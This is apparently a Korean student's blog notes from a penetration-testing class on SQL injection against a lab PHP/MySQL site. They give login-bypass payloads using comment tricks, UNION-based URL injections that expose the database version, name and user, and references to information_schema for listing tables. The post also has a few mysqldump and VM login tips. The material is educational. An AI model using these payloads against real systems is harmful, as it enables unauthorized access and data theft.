본문 바로가기
정보보안

정보보안8 7차시

by IT매니절 2024. 11. 30.

모의해킹 실습
* 로그인 시도 시, select문으로 db내 패스워드와 비교하는 로직이 있을 때 해킹하기

 

쿼리 : SELECT * FROM $TBNAME WHERE  userid='$userid' and userpass=password('$userpw')";

' and 1=1 -- 또는 ' and 1=1 #
=> 비밀번호 비교 때문에 통하지 않음
admin' or 1=1 --
=> id 넣어도 실패

정답
admin에 ' or 1=1 /*
password에 */# 또는 */-- 를 사용

여러 줄 주석으로 코드를 무력화하였음

 

mysqldump mywebsite member > member.sql

( 각 행을 별도의 insert문으로 :  mysqldump mywebsite member --skip-extended-insert > member.sql )

=> member.sql에 mywebsite 데이터베이스의 member 테이블 내용을 저장한다 (백업)

mysql mywebsite < member.sql

member.sql을 mywebsite 데이터베이스에 실행한다

 

제일 첫 번째 사용자로 로그인하기

=> ' or 1=1#

특정 사용자로 로그인하기
=> admin' and 1=1#

 

 

union 연산자를 활용한 모의해킹

 

?id=bbs1+union+select+1&m=list
=> Warning: mysqli_num_rows() expects parameter 1 to be mysqli_result, boolean given in /var/www/html/list.html on line 25

 

?id=bbs1+union+select+1,2,3,4,5,6,7,8&m=list

=> 컬럼의 개수가 맞으면 에러가 나지 않는다

 

게시물 리스트

?id=bbs1+union+select+1,version(),3,database(),5,6,7,8&m=list

정보 노출

version()

database()

user() 등등

 

단일 게시물

?page=reserve&id=1+and+1=2+union+select+1,version(),3,database(),5,6,7,8

 

기존 쿼리를 and 1=2를 통해 결과물을 없도록 처리하고

union 쿼리만 나오도록 한다

강의 정답

: ?page=reserve&id=-1+union+select+1,version(),3,database(),5,6,7,8

 

information_schema.tables
information_schema.COLUMNS

테이블 획득, 컬럼 획득

 

 

+

vmware 가상머신으로 리눅스 활용시

콘솔에서 로그인하지 않으면 putty 푸티에서 로그인이 안 되는 현상

nmtui에서 모든 사용자에게 사용 가능에 체크되어 있지 않으면 콘솔에서 먼저 로그인되어야 한다

'정보보안' 카테고리의 다른 글

정보보안8 11차시  (0) 2024.12.15
정보보안8 8차시  (0) 2024.12.01
정보보안8 6차시  (0) 2024.11.24
정보보안8 5차시  (0) 2024.11.23
정보보안8 4차시  (0) 2024.11.17